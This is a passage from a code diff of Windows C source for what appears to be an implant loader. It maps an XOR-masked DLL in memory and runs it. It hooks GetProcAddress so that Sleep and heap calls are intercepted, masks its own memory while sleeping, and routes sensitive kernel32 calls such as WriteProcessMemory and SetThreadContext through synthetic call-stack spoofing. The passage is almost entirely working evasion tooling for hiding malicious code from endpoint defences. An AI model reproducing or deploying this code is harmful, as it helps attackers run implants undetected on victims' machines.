||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
|
||||
return ( DWORD ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _SetThreadContext ( HANDLE hThread, const CONTEXT * lpContext )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$SetThreadContext );
|
||||
call.argc = 2;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hThread );
|
||||
call.args [ 1 ] = spoof_arg ( lpContext );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _UnmapViewOfFile ( LPCVOID lpBaseAddress )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$UnmapViewOfFile );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpBaseAddress );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAlloc ( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 3 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _VirtualAllocEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualAllocEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flAllocationType );
|
||||
call.args [ 4 ] = spoof_arg ( flProtect );
|
||||
|
||||
return ( LPVOID ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualFree ( LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualFree );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( dwFreeType );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtect ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtect );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( dwSize );
|
||||
call.args [ 2 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 3 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _VirtualProtectEx ( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualProtectEx );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 2 ] = spoof_arg ( dwSize );
|
||||
call.args [ 3 ] = spoof_arg ( flNewProtect );
|
||||
call.args [ 4 ] = spoof_arg ( lpflOldProtect );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
SIZE_T WINAPI _VirtualQuery ( LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$VirtualQuery );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( lpAddress );
|
||||
call.args [ 1 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 2 ] = spoof_arg ( dwLength );
|
||||
|
||||
return ( SIZE_T ) spoof_call ( &call );
|
||||
}
|
||||
|
||||
BOOL WINAPI _WriteProcessMemory ( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$WriteProcessMemory );
|
||||
call.argc = 5;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hProcess );
|
||||
call.args [ 1 ] = spoof_arg ( lpBaseAddress );
|
||||
call.args [ 2 ] = spoof_arg ( lpBuffer );
|
||||
call.args [ 3 ] = spoof_arg ( nSize );
|
||||
call.args [ 4 ] = spoof_arg ( lpNumberOfBytesWritten );
|
||||
|
||||
return ( BOOL ) spoof_call ( &call );
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
#include <windows.h>
|
||||
#include "loader.h"
|
||||
#include "memory.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
|
||||
|
||||
char _PICO_ [ 0 ] __attribute__ ( ( section ( "pico" ) ) );
|
||||
char _MASK_ [ 0 ] __attribute__ ( ( section ( "mask" ) ) );
|
||||
char _DLL_ [ 0 ] __attribute__ ( ( section ( "dll" ) ) );
|
||||
|
||||
int __tag_setup_hooks ( );
|
||||
int __tag_setup_memory ( );
|
||||
|
||||
typedef void ( * SETUP_HOOKS ) ( IMPORTFUNCS * funcs );
|
||||
typedef void ( * SETUP_MEMORY ) ( MEMORY_LAYOUT * layout );
|
||||
|
||||
void fix_section_permissions ( DLLDATA * dll, char * src, char * dst, DLL_MEMORY * dll_memory )
|
||||
{
|
||||
DWORD section_count = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * section_hdr = NULL;
|
||||
void * section_dst = NULL;
|
||||
DWORD section_size = 0;
|
||||
DWORD new_protect = 0;
|
||||
DWORD old_protect = 0;
|
||||
|
||||
section_hdr = ( IMAGE_SECTION_HEADER * ) PTR_OFFSET ( dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader );
|
||||
|
||||
for ( int i = 0; i < section_count; i++ )
|
||||
{
|
||||
section_dst = dst + section_hdr->VirtualAddress;
|
||||
section_size = section_hdr->SizeOfRawData;
|
||||
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) {
|
||||
new_protect = PAGE_WRITECOPY;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) {
|
||||
new_protect = PAGE_READONLY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_READWRITE;
|
||||
}
|
||||
if ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) {
|
||||
new_protect = PAGE_EXECUTE;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) ) {
|
||||
new_protect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) ) {
|
||||
new_protect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ( ( section_hdr->Characteristics & IMAGE_SCN_MEM_READ ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_WRITE ) && ( section_hdr->Characteristics & IMAGE_SCN_MEM_EXECUTE ) ) {
|
||||
new_protect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
KERNEL32$VirtualProtect ( section_dst, section_size, new_protect, &old_protect );
|
||||
|
||||
/* track memory */
|
||||
dll_memory->Sections[ i ].BaseAddress = section_dst;
|
||||
dll_memory->Sections[ i ].Size = section_size;
|
||||
dll_memory->Sections[ i ].CurrentProtect = new_protect;
|
||||
dll_memory->Sections[ i ].PreviousProtect = new_protect;
|
||||
|
||||
/* advance to section */
|
||||
section_hdr++;
|
||||
}
|
||||
|
||||
dll_memory->Count = section_count;
|
||||
}
|
||||
|
||||
void go ( )
|
||||
{
|
||||
/* populate funcs */
|
||||
IMPORTFUNCS funcs;
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* load the pico */
|
||||
char * pico_src = GETRESOURCE ( _PICO_ );
|
||||
|
||||
/* allocate memory for it */
|
||||
char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_code, pico_data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.Data = pico_data;
|
||||
memory.Pico.Code = pico_code;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
RESOURCE * mask_key = ( RESOURCE * ) GETRESOURCE ( _MASK_ );
|
||||
|
||||
/* load dll into memory and unmask it */
|
||||
char * dll_src = KERNEL32$VirtualAlloc ( NULL, masked_dll->len, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
for ( int i = 0; i < masked_dll->len; i++ ) {
|
||||
dll_src [ i ] = masked_dll->value [ i ] ^ mask_key->value [ i % mask_key->len ];
|
||||
}
|
||||
|
||||
DLLDATA dll_data;
|
||||
ParseDLL ( dll_src, &dll_data );
|
||||
|
||||
char * dll_dst = KERNEL32$VirtualAlloc ( NULL, SizeOfDLL ( &dll_data ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
LoadDLL ( &dll_data, dll_src, dll_dst );
|
||||
|
||||
/* track dll's memory */
|
||||
memory.Dll.BaseAddress = ( PVOID ) ( dll_dst );
|
||||
memory.Dll.Size = SizeOfDLL ( &dll_data );
|
||||
|
||||
ProcessImports ( &funcs, &dll_data, dll_dst );
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
/* free the unmasked copy */
|
||||
KERNEL32$VirtualFree ( dll_src, 0, MEM_RELEASE );
|
||||
|
||||
entry_point ( ( HINSTANCE ) dll_dst, DLL_PROCESS_ATTACH, NULL );
|
||||
entry_point ( ( HINSTANCE ) ( char * ) go, 0x4, NULL );
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value [ ];
|
||||
} RESOURCE;
|
||||
@@ -0,0 +1,80 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
|
||||
|
||||
char xorkey [ 128 ] = { 1 };
|
||||
|
||||
void apply_mask ( char * data, DWORD len )
|
||||
{
|
||||
for ( DWORD i = 0; i < len; i++ ) {
|
||||
data [ i ] ^= xorkey [ i % 128 ];
|
||||
}
|
||||
}
|
||||
|
||||
BOOL is_writeable ( DWORD protection )
|
||||
{
|
||||
if ( protection == PAGE_EXECUTE_READWRITE ||
|
||||
protection == PAGE_EXECUTE_WRITECOPY ||
|
||||
protection == PAGE_READWRITE ||
|
||||
protection == PAGE_WRITECOPY )
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
void xor_section ( MEMORY_SECTION * section, BOOL mask )
|
||||
{
|
||||
if ( mask == TRUE && is_writeable ( section->CurrentProtect ) == FALSE )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, PAGE_READWRITE, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = PAGE_READWRITE;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
|
||||
if ( is_writeable ( section->CurrentProtect ) ) {
|
||||
apply_mask ( section->BaseAddress, section->Size );
|
||||
}
|
||||
|
||||
if ( mask == FALSE && section->CurrentProtect != section->PreviousProtect )
|
||||
{
|
||||
DWORD old_protect = 0;
|
||||
|
||||
if ( KERNEL32$VirtualProtect ( section->BaseAddress, section->Size, section->PreviousProtect, &old_protect ) )
|
||||
{
|
||||
section->CurrentProtect = section->PreviousProtect;
|
||||
section->PreviousProtect = old_protect;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void xor_dll ( DLL_MEMORY * region, BOOL mask )
|
||||
{
|
||||
for ( size_t i = 0; i < region->Count; i++ ) {
|
||||
xor_section ( ®ion->Sections [ i ], mask );
|
||||
}
|
||||
}
|
||||
|
||||
void xor_heap ( HEAP_MEMORY * heap )
|
||||
{
|
||||
for ( size_t i = 0; i < heap->Count; i++ )
|
||||
{
|
||||
HEAP_RECORD * record = &heap->Records [ i ];
|
||||
|
||||
/* these are already RW */
|
||||
apply_mask ( record->Address, record->Size );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask )
|
||||
{
|
||||
xor_dll ( &memory->Dll, mask );
|
||||
xor_heap ( &memory->Heap );
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
void mask_memory ( MEMORY_LAYOUT * memory, BOOL mask );
|
||||
@@ -0,0 +1,37 @@
|
||||
#define MAX_HEAP_RECORDS 32
|
||||
#define MAX_SECTIONS 16
|
||||
|
||||
typedef struct {
|
||||
PVOID Data;
|
||||
PVOID Code;
|
||||
} PICO_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID Address;
|
||||
SIZE_T Size;
|
||||
} HEAP_RECORD;
|
||||
|
||||
typedef struct {
|
||||
HEAP_RECORD Records [ MAX_HEAP_RECORDS ];
|
||||
SIZE_T Count;
|
||||
} HEAP_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
DWORD CurrentProtect;
|
||||
DWORD PreviousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ MAX_SECTIONS ];
|
||||
SIZE_T Count;
|
||||
} DLL_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PICO_MEMORY Pico;
|
||||
DLL_MEMORY Dll;
|
||||
HEAP_MEMORY Heap;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -0,0 +1,198 @@
|
||||
#include <windows.h>
|
||||
#include "memory.h"
|
||||
#include "mask.h"
|
||||
#include "spoof.h"
|
||||
#include "cleanup.h"
|
||||
#include "tcg.h"
|
||||
|
||||
MEMORY_LAYOUT g_memory;
|
||||
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
|
||||
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
|
||||
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree ( HANDLE, DWORD, LPVOID );
|
||||
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc ( HANDLE, DWORD, LPVOID, SIZE_T );
|
||||
|
||||
FARPROC WINAPI _GetProcAddress ( HMODULE hModule, LPCSTR lpProcName )
|
||||
{
|
||||
/* lpProcName may be an ordinal */
|
||||
if ( ( ULONG_PTR ) lpProcName >> 16 == 0 )
|
||||
{
|
||||
/* just resolve normally */
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
FARPROC result = __resolve_hook ( ror13hash ( lpProcName ) );
|
||||
|
||||
/*
|
||||
* result may still be NULL if
|
||||
* it wasn't hooked in the spec
|
||||
*/
|
||||
if ( result != NULL ) {
|
||||
return result;
|
||||
}
|
||||
|
||||
return GetProcAddress ( hModule, lpProcName );
|
||||
}
|
||||
|
||||
void setup_hooks ( IMPORTFUNCS * funcs )
|
||||
{
|
||||
funcs->GetProcAddress = ( __typeof__ ( GetProcAddress ) * ) _GetProcAddress;
|
||||
}
|
||||
|
||||
void setup_memory ( MEMORY_LAYOUT * layout )
|
||||
{
|
||||
if ( layout != NULL ) {
|
||||
g_memory = * layout;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* throw these hooks in here because
|
||||
* sharing a global across multiple
|
||||
* modules is still a bit of a headache
|
||||
*/
|
||||
|
||||
VOID WINAPI _Sleep ( DWORD dwMilliseconds )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$Sleep );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwMilliseconds );
|
||||
|
||||
/*
|
||||
* for performance reasons, only mask
|
||||
* memory if sleep time is equal to
|
||||
* or greater than 1 second
|
||||
*/
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, TRUE );
|
||||
}
|
||||
|
||||
spoof_call ( &call );
|
||||
|
||||
if ( dwMilliseconds >= 1000 ) {
|
||||
mask_memory ( &g_memory, FALSE );
|
||||
}
|
||||
}
|
||||
|
||||
VOID WINAPI _ExitThread ( DWORD dwExitCode )
|
||||
{
|
||||
/* free memory */
|
||||
cleanup_memory ( &g_memory );
|
||||
|
||||
/* call the real exit thread */
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$ExitThread );
|
||||
call.argc = 1;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( dwExitCode );
|
||||
|
||||
spoof_call ( &call );
|
||||
}
|
||||
|
||||
LPVOID WINAPI _HeapAlloc ( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes )
|
||||
{
|
||||
LPVOID result = NULL;
|
||||
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$HeapAlloc );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hHeap );
|
||||
call.args [ 1 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 2 ] = spoof_arg ( dwBytes );
|
||||
|
||||
result = ( LPVOID ) spoof_call ( &call );
|
||||
|
||||
/* store a record of this heap allocation */
|
||||
|
||||
if ( dwBytes >= 256 && result != NULL && g_memory.Heap.Count < MAX_HEAP_RECORDS )
|
||||
{
|
||||
g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result;
|
||||
g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes;
|
||||
g_memory.Heap.Count++;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
LPVOID WINAPI _HeapReAlloc ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$HeapReAlloc );
|
||||
call.argc = 4;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hHeap );
|
||||
call.args [ 1 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 2 ] = spoof_arg ( lpMem );
|
||||
call.args [ 3 ] = spoof_arg ( dwBytes );
|
||||
|
||||
LPVOID result = ( LPVOID ) spoof_call ( &call );
|
||||
|
||||
if ( result )
|
||||
{
|
||||
BOOL found = FALSE;
|
||||
|
||||
for ( int i = 0; i < g_memory.Heap.Count; i++ )
|
||||
{
|
||||
if ( g_memory.Heap.Records [ i ].Address == lpMem )
|
||||
{
|
||||
g_memory.Heap.Records [ i ].Address = result;
|
||||
g_memory.Heap.Records [ i ].Size = dwBytes;
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if ( !found && dwBytes >= 256 && g_memory.Heap.Count < MAX_HEAP_RECORDS )
|
||||
{
|
||||
g_memory.Heap.Records [ g_memory.Heap.Count ].Address = result;
|
||||
g_memory.Heap.Records [ g_memory.Heap.Count ].Size = dwBytes;
|
||||
g_memory.Heap.Count++;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
BOOL WINAPI _HeapFree ( HANDLE hHeap, DWORD dwFlags, LPVOID lpMem )
|
||||
{
|
||||
FUNCTION_CALL call = { 0 };
|
||||
|
||||
call.ptr = ( PVOID ) ( KERNEL32$HeapFree );
|
||||
call.argc = 3;
|
||||
|
||||
call.args [ 0 ] = spoof_arg ( hHeap );
|
||||
call.args [ 1 ] = spoof_arg ( dwFlags );
|
||||
call.args [ 2 ] = spoof_arg ( lpMem );
|
||||
|
||||
BOOL result = ( BOOL ) spoof_call ( &call );
|
||||
|
||||
if ( result )
|
||||
{
|
||||
/* remove the right heap record */
|
||||
|
||||
for ( int i = 0; i < g_memory.Heap.Count; i++ )
|
||||
{
|
||||
if ( g_memory.Heap.Records [ i ].Address == lpMem )
|
||||
{
|
||||
int last = g_memory.Heap.Count - 1;
|
||||
g_memory.Heap.Records [ i ] = g_memory.Heap.Records [ last ];
|
||||
g_memory.Heap.Records [ last ].Address = NULL;
|
||||
g_memory.Heap.Records [ last ].Size = 0;
|
||||
g_memory.Heap.Count--;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
|
||||
/* for the local loader */
|
||||
__typeof__ ( GetModuleHandle ) * get_module_handle __attribute__ ( ( section ( ".text" ) ) );
|
||||
__typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( ".text" ) ) );
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC resolve ( DWORD mod_hash, DWORD func_hash )
|
||||
{
|
||||
HANDLE module = findModuleByHash ( mod_hash );
|
||||
return findFunctionByHash ( module, func_hash );
|
||||
}
|
||||
|
||||
/**
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC patch_resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = get_module_handle ( mod_name );
|
||||
return get_proc_address ( module, func_name );
|
||||
}
|
||||
@@ -0,0 +1,378 @@
|
||||
#include <windows.h>
|
||||
#include "spoof.h"
|
||||
#include "tcg.h"
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA ( LPCSTR );
|
||||
DECLSPEC_IMPORT RUNTIME_FUNCTION * WINAPI KERNEL32$RtlLookupFunctionEntry ( DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE );
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx ( PULONG );
|
||||
|
||||
#define TEXT_HASH 0xEBC2F9B4
|
||||
#define RBP_OP_INFO 0x5
|
||||
|
||||
typedef struct {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME;
|
||||
|
||||
typedef enum {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE;
|
||||
|
||||
typedef struct {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode [ 1 ];
|
||||
} UNWIND_INFO;
|
||||
|
||||
typedef struct {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO;
|
||||
|
||||
typedef struct {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID Gadget;
|
||||
} SYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
FUNCTION_CALL * FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL;
|
||||
|
||||
typedef struct {
|
||||
PVOID Fixup;
|
||||
PVOID OriginalReturnAddress;
|
||||
PVOID Rbx;
|
||||
PVOID Rdi;
|
||||
PVOID BaseThreadInitThunkStackSize;
|
||||
PVOID BaseThreadInitThunkReturnAddress;
|
||||
PVOID TrampolineStackSize;
|
||||
PVOID RtlUserThreadStartStackSize;
|
||||
PVOID RtlUserThreadStartReturnAddress;
|
||||
PVOID Ssn;
|
||||
PVOID Trampoline;
|
||||
PVOID Rsi;
|
||||
PVOID R12;
|
||||
PVOID R13;
|
||||
PVOID R14;
|
||||
PVOID R15;
|
||||
} DRAUGR_PARAMETERS;
|
||||
|
||||
extern PVOID draugr_stub ( PVOID, PVOID, PVOID, PVOID, DRAUGR_PARAMETERS *, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID );
|
||||
|
||||
#define draugr_arg(i) ( ULONG_PTR ) ( call->args [ i ] )
|
||||
|
||||
void init_frame_info ( SYNTHETIC_STACK_FRAME * frame )
|
||||
{
|
||||
PVOID frame1_module = KERNEL32$GetModuleHandleA ( "kernel32.dll" );
|
||||
PVOID frame2_module = KERNEL32$GetModuleHandleA ( "ntdll.dll" );
|
||||
|
||||
frame->Frame1.ModuleAddress = frame1_module;
|
||||
frame->Frame1.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame1_module, "BaseThreadInitThunk" );
|
||||
frame->Frame1.Offset = 0x17;
|
||||
|
||||
frame->Frame2.ModuleAddress = frame2_module;
|
||||
frame->Frame2.FunctionAddress = ( PVOID ) GetProcAddress ( ( HMODULE ) frame2_module, "RtlUserThreadStart" );
|
||||
frame->Frame2.Offset = 0x2c;
|
||||
|
||||
frame->Gadget = KERNEL32$GetModuleHandleA ( "KernelBase.dll" );
|
||||
}
|
||||
|
||||
BOOL get_text_section_size ( PVOID module, PDWORD virtual_address, PDWORD size )
|
||||
{
|
||||
